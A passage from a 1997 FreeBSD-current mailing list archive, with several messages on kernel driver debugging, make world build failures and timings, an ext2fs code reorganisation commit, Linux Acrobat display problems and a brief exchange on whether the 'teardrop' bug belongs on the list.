pci1.9.0 >fxp0: Ethernet address 00:a0:c9:8b:09:a5 "rev 0x04"...hmmm. I haven't see a rev that high on the 82557 - perhaps your card is an 82558 based Pro/100+? That should still work just fine, but I haven't specifically tested it in FreeBSD. >built and installed the new kernel. When rebooting, I specified the >-d option to bring up the kernel debugger. I then specified: > >b fxp_init >c > > and the system panic'd in the bounce buffer code saying it could not >malloc enough memory.. Ok, well, I don't need bounce buffers on my >machine, so I removed options BOUNCE_BUFFERS from GENERIC and once >again rebuilt & installed. Again I rebooted and specified -d and >issued the break & continue commands. > > This time, a series of "Could not malloc" messages went by, but >none stopped the system. Finally, it got to the point where is wanted >to mount the root filesystem. It said it could not mount the root >filesystem and hung. Strange. I can't explain that, but I'd say it was indicating something seriously bad happened. Did you remove any other options or make any other changes to the config file? Does the new kernel boot without the "-d"? -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-current Tue Nov 18 04:46:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA18570 for current-outgoing; Tue, 18 Nov 1997 04:46:32 -0800 (PST) (envelope-from owner-freebsd-current) Received: from www.giovannelli.it (www.giovannelli.it [194.184.65.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA18561 for ; Tue, 18 Nov 1997 04:46:24 -0800 (PST) (envelope-from gmarco@giovannelli.it) Received: from giovannelli.it (ts3port2d.masternet.it [194.184.65.187]) by www.giovannelli.it (8.8.8/8.8.5) with ESMTP id NAA00504 for ; Tue, 18 Nov 1997 13:51:10 +0100 (MET) Message-ID: <34719CA2.EEA0641F@giovannelli.it> Date: Tue, 18 Nov 1997 13:48:19 +0000 From: Gianmarco Giovannelli Reply-To: gmarco@giovannelli.it X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: current@freebsd.org Subject: make depend fails on ... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I cvsupped this morning and make world exit with this error : macro `warnx` used with just one arg in /usr.bin/printf/printf.c line 139 perhaps ? 139: warnx("missing format character"); and then the same error on other lines... Thanks for attention.. -- Regards... Gianmarco "Unix expert since yesterday" http://www2.masternet.it From owner-freebsd-current Tue Nov 18 05:14:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA20257 for current-outgoing; Tue, 18 Nov 1997 05:14:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from zed.ludd.luth.se (zed.ludd.luth.se [130.240.16.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA20248 for ; Tue, 18 Nov 1997 05:14:23 -0800 (PST) (envelope-from rln@ludd.luth.se) Received: from father.ludd.luth.se (rln@father.ludd.luth.se [130.240.16.18]) by zed.ludd.luth.se (8.8.5/8.8.5) with ESMTP id OAA09608 for ; Tue, 18 Nov 1997 14:14:13 +0100 From: Rolf Larsson Received: (rln@localhost) by father.ludd.luth.se (8.6.11/8.6.11) id OAA08500 for current@freebsd.org; Tue, 18 Nov 1997 14:14:12 +0100 Message-Id: <199711181314.OAA08500@father.ludd.luth.se> Subject: Make World Fast To: current@freebsd.org Date: Tue, 18 Nov 1997 14:14:12 +0100 (MET) X-Mailer: ELM [version 2.4ME+ PL15 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've made available some notes about building the world AFAP on: http://www.ludd.luth.se/users/rln/tune-make Read and mail me with suggestions on the gaps than needs to be filled and the errors that need to be corrected. It was written mostly in august, so it's probably heavily outdated. :-) -- Rolf Larsson rln@ludd.luth.se http://www.dc.luth.se/~rln/ From owner-freebsd-current Tue Nov 18 05:48:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA22113 for current-outgoing; Tue, 18 Nov 1997 05:48:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns1.yes.no (ns1.yes.no [195.119.24.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA22104 for ; Tue, 18 Nov 1997 05:48:50 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by ns1.yes.no (8.8.7/8.8.7) with ESMTP id NAA17738; Tue, 18 Nov 1997 13:48:21 GMT Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id OAA10979; Tue, 18 Nov 1997 14:48:15 +0100 (MET) Date: Tue, 18 Nov 1997 14:48:15 +0100 (MET) Message-Id: <199711181348.OAA10979@bitbox.follo.net> From: Eivind Eklund To: shimon@simon-shapiro.org CC: perhaps@yes.no, toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG, hasty@rah.star-gate.com, Shimon@i-connect.net In-reply-to: Simon Shapiro's message of Mon, 17 Nov 1997 23:20:23 -0800 (PST) Subject: Re: make world time???/ References: <199711171208.NAA06592@bitbox.follo.net> Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > On 17-Nov-97 Eivind Eklund wrote: > >> > >> > >> Hi Amancio Hasty; On 17-Nov-97 you wrote: > >> > Hmm... > >> > > >> > I do a make world in about 75 minutes -- I just didn't do > >> > profiled > >> > libraries. > >> > >> Correct me if I am wrong, but the pupose here is not to finish make > >> world > >> in short time. I have seen sub-minute before :-) > > > > A 'make world' including what? > > Everything, but you start with empty /usr/obj. What kind of hardware are you running this at? What setup WRT async, noatime, MFS, etc? We want details! *grin* I just find sub-minute compiles of >100MB of source quite astonishing. Eivind. From owner-freebsd-current Tue Nov 18 06:33:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA25248 for current-outgoing; Tue, 18 Nov 1997 06:33:38 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA25240; Tue, 18 Nov 1997 06:33:32 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id PAA17979; Tue, 18 Nov 1997 15:32:05 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: cvs-committers@freebsd.org, current@freebsd.org Subject: Re: cvs commit: src/sys/gnu/ext2fs ... In-reply-to: Your message of "Tue, 18 Nov 1997 06:20:12 PST." <199711181420.GAA01245@freefall.freebsd.org> Date: Tue, 18 Nov 1997 15:32:05 +0100 Message-ID: <17977.879863525@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This commit rather heavyhandedly rectifies a mistake made long ago. I've pushed all the crud back over in ext2fs, ufs is our primary filesystem, and it shouldn't be polluted the way ext2 did. I have no idea if ext2fs works after this (I have no way to test it), but I've done my best. I have not studied in detail what the directory structure difference is between ufs and ext2fs, if somebody looks at it, we may be able to return to using the ufs_ VOP's with some amount of modification the the underlying directory tweaking functions (ufs_direnter &c) but this will be a task for somebody else. I simply don't care enough for ext2fs to even start looking at it. Poul-Henning In message <199711181420.GAA01245@freefall.freebsd.org>, Poul-Henning Kamp writ es: >phk 1997/11/18 06:20:11 PST > > Modified files: > sys/gnu/ext2fs ext2_vnops.c > Log: > Give ext2fs it's own VOP_REMOVE, VOP_LINK, VOP_RENAME, VOP_MKDIR, VOP_RMDI >R, > VOP_CREATE, VOP_MKNOD, VOP_SYMLINK and ext2_makeinode(). > > Revision Changes Path > 1.25 +1020 -0 src/sys/gnu/ext2fs/ext2_vnops.c > > Modified files: > sys/ufs/ufs ufs_vnops.c > Log: > unifdef -UEXT2FS > > Revision Changes Path > 1.68 +1 -110 src/sys/ufs/ufs/ufs_vnops.c -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Tue Nov 18 06:54:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA26546 for current-outgoing; Tue, 18 Nov 1997 06:54:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA26534 for ; Tue, 18 Nov 1997 06:54:15 -0800 (PST) (envelope-from bruce@zuhause.mn.org) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id IAA04504; Tue, 18 Nov 1997 08:54:06 -0600 (CST) Received: (from bruce@localhost) by zuhause.mn.org (8.8.7/8.8.7) id IAA07928; Tue, 18 Nov 1997 08:40:28 -0600 (CST) Date: Tue, 18 Nov 1997 08:40:28 -0600 (CST) Message-Id: <199711181440.IAA07928@zuhause.mn.org> From: Bruce Albrecht To: "John S. Dyson" Cc: freebsd-current@FreeBSD.ORG Subject: Re: Acrobat problems? In-Reply-To: <199711172014.PAA04958@dyson.iquest.net> References: <199711170737.BAA03677@zuhause.mn.org> <199711172014.PAA04958@dyson.iquest.net> X-Mailer: VM 6.34 under 19.16 "New York" XEmacs Lucid Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John S. Dyson writes: > Bruce Albrecht said: > > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > > -current? When I run 3.0, Acrobat tells me that it's trapped a > > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > > display is all messed up. I'm running SMP from around 10/27, and here > > are my linux libraries: > > > I use acroread regularly, but my current is about 1wk old. Your non-X libs > look the same as mine, but remember, the X libs might also be involved. I'll > check out a more recent current soon, and let you know. Is it possible that my problems are because I'm running XFree86 3.3.1, and the linux X libraries in /compat/linux/usr/X11R6/lib are not the same level as my FreeBSD X libraries? From owner-freebsd-current Tue Nov 18 07:31:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA29144 for current-outgoing; Tue, 18 Nov 1997 07:31:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from austin.polstra.com (austin.polstra.com [206.213.73.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA29138 for ; Tue, 18 Nov 1997 07:31:40 -0800 (PST) (envelope-from jdp@austin.polstra.com) Received: from austin.polstra.com (jdp@localhost) by austin.polstra.com (8.8.7/8.8.7) with ESMTP id HAA17389; Tue, 18 Nov 1997 07:31:00 -0800 (PST) (envelope-from jdp) Message-Id: <199711181531.HAA17389@austin.polstra.com> To: gmarco@giovannelli.it Subject: Re: make depend fails on ... In-Reply-To: <34719CA2.EEA0641F@giovannelli.it> References: <34719CA2.EEA0641F@giovannelli.it> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Date: Tue, 18 Nov 1997 07:30:59 -0800 From: John Polstra Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <34719CA2.EEA0641F@giovannelli.it>, Gianmarco Giovannelli wrote: > I cvsupped this morning and make world exit with this error : > > macro `warnx` used with just one arg > > in /usr.bin/printf/printf.c line 139 > > perhaps ? > > 139: warnx("missing format character"); > > and then the same error on other lines... It's fixed now. Sorry! John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-knowledge is always bad news." -- John Barth From owner-freebsd-current Tue Nov 18 09:37:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA07596 for current-outgoing; Tue, 18 Nov 1997 09:37:52 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA07590 for ; Tue, 18 Nov 1997 09:37:46 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id JAA01529; Tue, 18 Nov 1997 09:37:30 -0800 (PST) Message-Id: <199711181737.JAA01529@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Bruce Albrecht cc: "John S. Dyson" , freebsd-current@freebsd.org Subject: Re: Acrobat problems? In-reply-to: Your message of "Tue, 18 Nov 1997 08:40:28 CST." <199711181440.IAA07928@zuhause.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 18 Nov 1997 09:37:29 -0800 From: Amancio Hasty Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk No, I am running XFree86 3.3.1 , with a matrox millenium over here and I don't have any problems with acroread. How about posting or making a available a kdump of acroread ? ktrace -di acroread kdump >foo Amancio > John S. Dyson writes: > > Bruce Albrecht said: > > > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > > > -current? When I run 3.0, Acrobat tells me that it's trapped a > > > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > > > display is all messed up. I'm running SMP from around 10/27, and here > > > are my linux libraries: > > > > > I use acroread regularly, but my current is about 1wk old. Your non-X libs > > look the same as mine, but remember, the X libs might also be involved. I'll > > check out a more recent current soon, and let you know. > > Is it possible that my problems are because I'm running XFree86 3.3.1, > and the linux X libraries in /compat/linux/usr/X11R6/lib are not the > same level as my FreeBSD X libraries? From owner-freebsd-current Tue Nov 18 09:41:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA07869 for current-outgoing; Tue, 18 Nov 1997 09:41:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from korin.warman.org.pl (korin.nask.waw.pl [148.81.160.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA07850 for ; Tue, 18 Nov 1997 09:41:15 -0800 (PST) (envelope-from abial@korin.warman.org.pl) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.8/8.8.5) with SMTP id SAA07827; Tue, 18 Nov 1997 18:43:14 +0100 (CET) Date: Tue, 18 Nov 1997 18:43:13 +0100 (CET) From: Andrzej Bialecki To: Eivind Eklund cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-Reply-To: <199711181348.OAA10979@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 18 Nov 1997, Eivind Eklund wrote: > > > > > > On 17-Nov-97 Eivind Eklund wrote: > > >> > > >> > > >> Hi Amancio Hasty; On 17-Nov-97 you wrote: > > >> > Hmm... > > >> > > > >> > I do a make world in about 75 minutes -- I just didn't do > > >> > profiled > > >> > libraries. > > >> > > >> Correct me if I am wrong, but the pupose here is not to finish make > > >> world > > >> in short time. I have seen sub-minute before :-) > > > > > > A 'make world' including what? > > > > Everything, but you start with empty /usr/obj. > > What kind of hardware are you running this at? What setup WRT async, > noatime, MFS, etc? We want details! *grin* > > I just find sub-minute compiles of >100MB of source quite > astonishing. He probably meant some sarcasm here, i.e.: # make world ------------------------------------------------- make world started ... ------------------------------------------------- world: world: No such file or directory *** Error code 1 Stop. # :-)) This I can certainly do well below 1 min... Andrzej Bialecki ---------------------+--------------------------------------------------------- abial@warman.org.pl | if(halt_per_mth > 0) { fetch("http://www.freebsd.org") } Research & Academic | "Be open-minded, but don't let your brains to fall out." Network in Poland | All of the above (and more) is just my personal opinion. ---------------------+--------------------------------------------------------- From owner-freebsd-current Tue Nov 18 09:47:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA08305 for current-outgoing; Tue, 18 Nov 1997 09:47:40 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA08294 for ; Tue, 18 Nov 1997 09:47:31 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id JAA01581; Tue, 18 Nov 1997 09:46:36 -0800 (PST) Message-Id: <199711181746.JAA01581@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Eivind Eklund cc: shimon@simon-shapiro.org, toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG, Shimon@i-connect.net Subject: Re: make world time???/ In-reply-to: Your message of "Tue, 18 Nov 1997 14:48:15 +0100." <199711181348.OAA10979@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 18 Nov 1997 09:46:35 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.0-CURRENT #6: Sun Nov 16 16:32:24 PST 1997 hasty@rah.star-gate.com:/usr/src/sys/compile/STAR-GATE CPU: Pentium Pro (199.31-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x617 Stepping=7 Features=0xf9ff real memory = 50331648 (49152K bytes) avail memory = 46718976 (45624K bytes) DEVFS: ready for devices Probing for devices on PCI bus 0: chip0: rev 0x02 on pci0.0.0 chip1: rev 0x01 on pci0.1.0 ide_pci0: rev 0x00 on pci0.1.1 ahc0: rev 0x03 int a irq 15 on pci0.9.0 ahc0: aic7870 Single Channel, SCSI Id=7, 16/255 SCBs ahc0: waiting for scsi devices to settle scbus0 at ahc0 bus 0 cd0 at scbus0 target 2 lun 0 cd0: type 5 removable SCSI 2 cd0: CD-ROM can't get the size bktr0: rev 0x11 int a irq 15 on pci0.10.0 Hauppauge WinCast/TV, Philips NTSC tuner, dbx stereo. ahc1: rev 0x00 int a irq 10 on pci0.11.0 ahc1: aic7880 Wide Channel, SCSI Id=5, 16/255 SCBs ahc1: waiting for scsi devices to settle scbus1 at ahc1 bus 0 ahc1: target 0 Tagged Queuing Device sd0 at scbus1 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 4339MB (8887200 512 byte sectors) ahc1: target 3 Tagged Queuing Device sd1 at scbus1 target 3 lun 0 sd1: type 0 fixed SCSI 2 sd1: Direct-Access 4095MB (8388315 512 byte sectors) vga0: rev 0x01 int a irq 15 on pci0.13.0 Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0 at 0x280-0x29f irq 5 maddr 0xd8000 msize 16384 on isa ed0: address 00:00:c0:af:70:b7, type SMC8216/SMC8216C (16 bit) ed1 not found at 0x240 sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A sio2 not found at 0x3e8 sio3 not found at 0x2e8 lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 not found lpt2 not found psm1 at 0x60-0x64 irq 12 on motherboard psm1: device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): , DMA, 32-bit, multi-block-32 wd0: 3337MB (6834240 sectors), 6780 cyls, 16 heads, 63 S/T, 512 B/S scd0 not found at 0x230 npx0 on motherboard npx0: INT 16 interface joy0 at 0x201 on isa joy0: joystick Checking for GUS Plug-n-Play ... Board Vendor ID: GRV0001 Board Serial Number: ffffffff gus0 at 0x220 irq 11 drq 5 flags 0x107 on isa at 0x32c dma 7,5 at 0x220 irq 11 dma 5,7 DEVFS: ready to run SKBMODE dev c03 20004b07 0 mount -u -o async,notime /usr Deviations on the standard /etc/make.conf NOCLEAN=true CFLAGS= -O -pipe NOPROFILE= true Build time is about 75 minutes /usr and /obj is on the Seagate Cheetah 4.3GB 10000rpms. If you look back on this thread you will find my actual build time. Relevant bits on my kernel config file options AHC_TAGENABLE options AHC_SCBPAGING_ENABLE options AHC_ALLOW_MEMIO The magic incatation: cd /usr/src make clean #ensure that the tree is clean make world Let me know if you need more details 8) Amancio Amancio From owner-freebsd-current Tue Nov 18 09:56:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA09414 for current-outgoing; Tue, 18 Nov 1997 09:56:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from smtp1.teleport.com (smtp1.teleport.com [192.108.254.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA09408 for ; Tue, 18 Nov 1997 09:56:52 -0800 (PST) (envelope-from mrl@teleport.com) Received: from user2.teleport.com (user2.teleport.com [192.108.254.12]) by smtp1.teleport.com (8.8.7/8.7.3) with ESMTP id JAA28298; Tue, 18 Nov 1997 09:56:45 -0800 (PST) From: Mostyn/Annabella Received: (from mrl@localhost) by user2.teleport.com (8.8.7/8.8.4) id JAA05389; Tue, 18 Nov 1997 09:56:44 -0800 (PST) Message-Id: <199711181756.JAA05389@user2.teleport.com> Subject: Re: Acrobat problems? To: bruce@zuhause.mn.org (Bruce Albrecht) Date: Tue, 18 Nov 1997 09:56:43 -0800 (PST) Cc: freebsd-current@freebsd.org, mrl@teleport.com In-Reply-To: <199711170737.BAA03677@zuhause.mn.org> from "Bruce Albrecht" at Nov 17, 97 01:37:35 am X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > -current? When I run 3.0, Acrobat tells me that it's trapped a > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > display is all messed up. I'm running SMP from around 10/27 ......... I noticed the same thing on 2.2.5-STABLE a few days old. With a matrox millenium (MGA - SVGA server) and XFree86 3.3.1 and a bits per pixel depth of 24 (startx -- -bpp 24) the acrobat display is messed up with predominantly blue letters; but with pixel depths of 16 and 32, it's OK. Using the Xinside (Xig) X server and 24 bit pixel depth it's OK. This is with 3.01 Acrobat (3.00 segfaulted as you saw). Mostyn P.S. Another X thing - netscape 4.04 will get a SEGV if running XFree86 3.3.1 24 bpp after restoring the stack on sigreturn because of a SIGALRM while having just read the awt/MToolKit class, and ... The Xig server sails through it? (This at http://www.onsale.com when it starts the first Java applet). From owner-freebsd-current Tue Nov 18 11:13:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA14581 for current-outgoing; Tue, 18 Nov 1997 11:13:04 -0800 (PST) (envelope-from owner-freebsd-current) Received: from news1.gtn.com (news1.gtn.com [194.77.0.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA14558; Tue, 18 Nov 1997 11:12:45 -0800 (PST) (envelope-from andreas@klemm.gtn.com) Received: (from uucp@localhost) by news1.gtn.com (8.8.6/8.8.6) with UUCP id UAA21479; Tue, 18 Nov 1997 20:00:23 +0100 (MET) Received: (from andreas@localhost) by klemm.gtn.com (8.8.8/8.8.7) id TAA02898; Tue, 18 Nov 1997 19:30:54 +0100 (CET) (envelope-from andreas) Message-ID: <19971118193054.21688@klemm.gtn.com> Date: Tue, 18 Nov 1997 19:30:54 +0100 From: Andreas Klemm To: Penisoara Adrian Cc: freebsd-current@FreeBSD.ORG, freebsd-isp@FreeBSD.ORG Subject: Re: Latest 3.0-SNAP for ISP Production server ? References: <19971117075259.32948@klemm.gtn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88 In-Reply-To: ; from Penisoara Adrian on Mon, Nov 17, 1997 at 09:12:40PM +0200 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-CURRENT SMP Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Nov 17, 1997 at 09:12:40PM +0200, Penisoara Adrian wrote: > > [ should use -STABLE ] > Yes, I agree with you, but I have to go for SMP - this dual Pentium > machine is our main server... > BTW, I did enjoy 3.0-current, except for those nasty AIC7XXX bugs in a > while (did -current really get rid of 'em ?). SCSI driver fixes are introduced to current and stable. -- Andreas Klemm powered by ,,symmetric multiprocessor FreeBSD'' From owner-freebsd-current Tue Nov 18 13:26:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA24553 for current-outgoing; Tue, 18 Nov 1997 13:26:39 -0800 (PST) (envelope-from owner-freebsd-current) Received: from heron.doc.ic.ac.uk (1HTFU8Y5lAUAL3MONcW8nw2O6pFwXt70@heron.doc.ic.ac.uk [146.169.2.31]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA24545 for ; Tue, 18 Nov 1997 13:26:34 -0800 (PST) (envelope-from njs3@doc.ic.ac.uk) Received: from oak47.doc.ic.ac.uk [146.169.16.21] ([qSQnxqovE0h4BOiIWO2FHkcCQ38mQpdq]) by heron.doc.ic.ac.uk with smtp (Exim 1.62 #3) id 0xXvAx-0001xv-00; Tue, 18 Nov 1997 21:27:15 +0000 Received: from njs3 by oak47.doc.ic.ac.uk with local (Exim 1.62 #3) id 0xXv9L-0000Br-00; Tue, 18 Nov 1997 21:25:35 +0000 From: njs3@doc.ic.ac.uk (Niall Smart) Date: Tue, 18 Nov 1997 21:25:35 +0000 In-Reply-To: Tom "Re: teardrop" (Nov 17, 11:07pm) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: Tom , Jason Young Subject: Re: teardrop Cc: Adam McDougall , current@freebsd.org Message-Id: Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Nov 17, 11:07pm, Tom wrote: > I'm always cool, I live in Canada. I'm always drunk, I'm Irish. > Anyhow, it is Linux & NT thing, and doesn't belong on the FreeBSD lists. > There are many different operating systems, and many bugs, and that > doesn't mean they need to be discussed here. Yes, but it affected a lot of operating systems, not just Linux and NT. Also, given that it affects BSDi, its not unreasonable to ask about it IMO, especially since it hasn't been discussed on freebsd-{current,hackers, stable,smp} before. Perhaps it should have been aimed at -questions however. Niall From owner-freebsd-current Tue Nov 18 14:20:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA28834 for current-outgoing; Tue, 18 Nov 1997 14:20:03 -0800 (PST) (envelope-from owner-freebsd-current) Received: from usr01.primenet.com (tlambert@usr01.primenet.com [206.165.6.201]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA28764; Tue, 18 Nov 1997 14:19:58 -0800 (PST) (envelope-from tlambert@usr01.primenet.com) Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id PAA26416; Tue, 18 Nov 1997 15:18:34 -0700 (MST) From: Terry Lambert Message-Id: <199711182218.PAA26416@usr01.primenet.com> Subject: Re: cvs commit: src/sys/gnu/ext2fs ... To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Tue, 18 Nov 1997 22:18:32 +0000 (GMT) Cc: cvs-committers@freebsd.org, current@freebsd.org In-Reply-To: <17977.879863525@critter.freebsd.dk> from "Poul-Henning Kamp" at Nov 18, 97 03:32:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > This commit rather heavyhandedly rectifies a mistake made long ago. > > I've pushed all the crud back over in ext2fs, ufs is our primary > filesystem, and it shouldn't be polluted the way ext2 did. > > I have no idea if ext2fs works after this (I have no way to test it), > but I've done my best. > > I have not studied in detail what the directory structure difference > is between ufs and ext2fs, if somebody looks at it, we may be able to > return to using the ufs_ VOP's with some amount of modification the > the underlying directory tweaking functions (ufs_direnter &c) but > this will be a task for somebody else. I simply don't care enough > for ext2fs to even start looking at it. Thank you for this change! There is (currently) insufficient divorce between the directory and file inode acquisition at this point for the code to be shared with EXT2FS (IMO). This was a good change; it has to get worse before it gets better, and until the original mistakes are corrected, anything on top of them is a kludge at best and a compounding of the mistakes at worst. Now if only we could attack the mistakes introduced by the rushed integration by CSRG, we might be able to then attack filesystem structure vs. content issues, and be able to share the code properly (ie: ONLY to get the POSIX semantics enforcement). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-current Tue Nov 18 15:25:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA04556 for current-outgoing; Tue, 18 Nov 1997 15:25:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA04540 for ; Tue, 18 Nov 1997 15:24:58 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.210.252] by pop.uniserve.com with smtp (Exim 1.73 #1) id 0xXx0i-000649-00; Tue, 18 Nov 1997 15:24:48 -0800 Date: Tue, 18 Nov 1997 15:24:46 -0800 (PST) From: Tom To: Niall Smart cc: Jason Young , Adam McDougall , current@freebsd.org Subject: Re: teardrop In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 18 Nov 1997, Niall Smart wrote: > freebsd-{current,hackers, stable,smp} before. Perhaps it should have > been aimed at -questions however. Definitely. If you are on 